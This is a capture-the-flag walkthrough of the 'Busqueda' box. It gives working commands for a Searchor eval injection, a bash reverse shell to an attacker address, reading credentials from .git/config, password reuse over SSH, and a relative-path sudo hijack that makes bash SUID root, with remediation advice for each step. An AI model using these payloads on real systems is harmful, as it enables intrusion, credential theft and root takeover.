← all walkthroughs

Busqueda

Linux· Easy
owned
2026-06-29
time to own
3m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I identified a Python/Flask web application advertising a publicly known vulnerable version of Searchor (2.4.0), exploited a server-side Python eval-injection flaw to gain an interactive shell as the web service account, recovered plaintext credentials embedded in a Git configuration file left inside the web root, used those credentials to access an internal Gitea instance and authenticate over SSH, then abused a passwordless sudo rule that called a management script via a relative path — hijacking that path to execute my own code as root and take full control of the system.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered>"

Attack path — how the box was taken

1ReconnaissanceNetwork port scanning / virtual-host enumeration
Mapped open ports and fingerprinted the web application
A full TCP port scan confirmed two open ports: 22 (SSH) and 80 (HTTP). The HTTP service required the virtual hostname 'searcher.htb' and returned a page explicitly naming Searchor 2.4.0 — a Python/Flask search-aggregation application — giving me a precise version to look up for known vulnerabilities.
Curl returned page title containing 'Searcher ... Flask ... Searchor 2.4.0' when Host: searcher.htb was set; grep confirmed the literal string 'Searchor 2.4.0'.
Exact commands 5
shell

Full TCP scan to enumerate all open ports.

$ nmap -p- --min-rate 5000 -T4 $TARGET
shell

Service and version detection on discovered ports.

$ nmap -sV -p 22,80 $TARGET
shell

Register the vhost so the Flask app responds correctly.

$ echo "$TARGET searcher.htb" | sudo tee -a /etc/hosts
shell

Confirm the Searchor version string rendered in the page.

$ curl -sS -H 'Host: searcher.htb' http://$TARGET/ | grep -i 'searchor\|version'
shell

Read HTTP response headers to confirm Flask is the executing backend.

$ curl -sI -H 'Host: searcher.htb' http://$TARGET/ | grep -i 'server:\|x-powered-by:'
2Vulnerability identificationServer-side code injection via eval() / CVE-2023-43364
Confirmed exploitable eval() injection in Searchor 2.4.0 (CVE-2023-43364)
Searchor 2.4.0 constructs the search URL by passing the user-supplied query directly into Python's eval() call with no sanitisation: eval(f"Engine.{engine}.search('{query}', ...)"). I can close the string literal, inject arbitrary Python expressions, and comment out the remainder of the statement. A leak-only proof-of-concept that called os.getenv('USER') returned the string 'svc' in the HTTP response, confirming live server-side code execution.
Leak-only PoC returned OS username 'svc', confirming unsanitised eval execution of my own Python.
Exact commands 1
shell

Leak-only PoC: the injected expression reads an env var and its value appears in the server response. No shell spawned at this step.

$ curl -sS -H 'Host: searcher.htb' "http://$TARGET/search" --data-urlencode "query=test',__import__('os').getenv('USER'))#" --data-urlencode 'engine=Google'
FixUpgrade Searchor and eliminate unsafe eval() from application codeCritical
WeaknessSearchor 2.4.0 passed the user-supplied search query directly into Python's built-in eval() function with no sanitisation. Any visitor to the web application could inject and execute arbitrary Python code on the server with no authentication required.
FixUpgrade to Searchor 2.4.2 or later, which replaced the eval() call with safe string construction. Audit all application code for any other use of eval(), exec(), or similar dynamic execution functions on user-supplied input and remove or replace them. As a defence-in-depth measure, deploy a web application firewall rule to detect and block obvious code-injection payloads in HTTP parameters.
3Initial accessRemote code execution via eval injection — reverse shell delivery
Spawned a reverse shell through the eval injection
With code execution confirmed, I replaced the benign leak payload with a Python expression that called os.system() to open a Bash reverse shell. The server executed it as the 'svc' service account, connecting back to my netcat listener and delivering an interactive foothold.
Exact commands 3
shell

Open listener on my machine (run this first in a separate terminal). Replace 4444 with your chosen port.

$ nc -lvnp 4444
shell

Replace $ATTACKER_IP with your tun0 address. The injected expression calls os.system(), spawning the reverse shell.

$ curl -sS -H 'Host: searcher.htb' "http://$TARGET/search" --data-urlencode "query=test',__import__('os').system('bash -c \"bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1\"'))#" --data-urlencode 'engine=Google'
shell

Upgrade the raw shell to a full interactive TTY once connected.

$ python3 -c 'import pty; pty.spawn("/bin/bash")'
4Local enumeration — credential discoveryCredential discovery in repository configuration files
Recovered plaintext Gitea credentials from a Git config file in the web root
The Searchor application directory /var/www/app was a live Git repository, and its .git/config file stored the remote origin URL with hardcoded HTTP Basic Auth credentials — username 'cody' and a plaintext password. Leaving .git directories inside a deployed web root is a well-known exposure pattern; here it gave me credentials to an internal service without any brute-forcing.
/var/www/app/.git/config remote URL contained http://$USERNAME:$PASSWORD@gitea.searcher.htb/cody/Searchor-2.4.0-poc.git
Exact commands 2
shell

Read the Git remote configuration; the URL embeds plaintext credentials for the internal Gitea instance.

$ cat /var/www/app/.git/config
shell

Capture the user flag: <user.txt>

$ cat /home/svc/user.txt
FixRemove plaintext credentials from Git configuration and restrict web-root Git directoriesHigh
WeaknessThe production web application directory contained a .git folder whose config file stored a remote URL with a hardcoded username and password in plaintext. Anyone who could read a single file in the application directory — including an unauthorised user with limited file-read access — immediately obtained valid credentials to an internal service.
FixRemove the embedded credential from the remote URL immediately (git remote set-url origin <url-without-credentials>) and rotate the exposed Gitea account password. Migrate credential storage to an OS-level git credential helper or a dedicated secrets manager, never embedding secrets in repository files. Configure the web server to deny HTTP access to any .git path (e.g. Nginx location ~ /\.git { deny all; }), or deploy the application outside the web root entirely. Enforce a pre-commit hook or CI check that fails if a remote URL contains credentials.
5Lateral movementCredential reuse / internal service access
Authenticated to internal Gitea and reused credentials for stable SSH access
I registered the Gitea vhost and authenticated with the recovered credentials. The Gitea instance (running on port 3000) exposed additional repositories and configuration. The same password was also valid for SSH login as 'svc', providing a stable, persistent shell superior to the reverse-shell channel.
Exact commands 3
shell

Register the Gitea vhost on my machine.

$ echo "$TARGET gitea.searcher.htb" | sudo tee -a /etc/hosts
shell

Enumerate Gitea users via the API to discover admin account names.

$ curl -sS 'http://gitea.searcher.htb:3000/api/v1/users/search?limit=50&q=' -H 'Authorization: Basic <base64_cody:password>'
shell

Log in with the Gitea password; credential reuse gives a stable SSH session as svc.

$ ssh svc@$TARGET
6Privilege escalation — discoverySudo misconfiguration / relative-path execution discovery
Found a passwordless sudo rule granting root execution of a management script
Running sudo -l as 'svc' revealed the account could execute /opt/scripts/system-checkup.py with any argument as root, with no password required. Reading the script showed it accepted a 'full-checkup' sub-command that in turn invoked a helper script by its bare filename (full-checkup.sh) rather than an absolute path — meaning the script Python resolves would depend entirely on the current working directory at the time of execution.
Exact commands 2
shell

List allowed sudo entries. Expected output: (root) NOPASSWD: /usr/bin/python3 /opt/scripts/system-checkup.py *

$ sudo -l
shell

Read the management script to identify supported sub-commands and locate the relative-path helper invocation inside the 'full-checkup' branch.

$ cat /opt/scripts/system-checkup.py
FixRemove the wildcard sudo rule and fix absolute paths in the management scriptHigh
WeaknessThe 'svc' service account held a passwordless sudo rule with an unrestricted argument wildcard, allowing it to pass any sub-command to the management script as root. The script's 'full-checkup' sub-command invoked a helper script by relative filename rather than absolute path, so whoever controlled the working directory controlled which script ran as root.
FixRemove the wildcard (*) from the sudo rule and enumerate only the specific sub-commands that operations staff legitimately require. Update system-checkup.py to call all child scripts by their full absolute path (e.g. /opt/scripts/full-checkup.sh instead of full-checkup.sh). Audit all scripts that run under elevated privileges for similar relative-path invocations. Apply the principle of least privilege: service accounts should have no sudo rights unless strictly necessary, and approved commands should be scoped as narrowly as possible with no argument wildcards.
7Privilege escalation — exploitationRelative-path hijacking via sudo wildcard
Hijacked the relative-path helper call to execute my code as root
Because system-checkup.py called full-checkup.sh without an absolute path, I created a malicious full-checkup.sh in a writable directory (/tmp/pwn) that set the SUID bit on /bin/bash. Running the sudo command from that directory caused Python's subprocess to resolve the helper to my script rather than the legitimate one. The SUID bash then opened a root-effective shell, and the root flag was captured.
root.txt captured from /root/root.txt after spawning root shell.
Exact commands 5
shell

Create and enter a writable directory controlled by me.

$ mkdir /tmp/pwn && cd /tmp/pwn
shell

Malicious helper: sets the SUID bit on bash so any user can open a root-effective shell.

$ printf '#!/bin/bash\nchmod +s /bin/bash\n' > full-checkup.sh && chmod +x full-checkup.sh
shell

Run from /tmp/pwn so the relative lookup resolves to our script instead of the legitimate one.

$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
shell

-p preserves the effective UID (root) set by the SUID bit, opening a root shell.

$ /bin/bash -p
shell

Capture the root flag: <root.txt>

$ cat /root/root.txt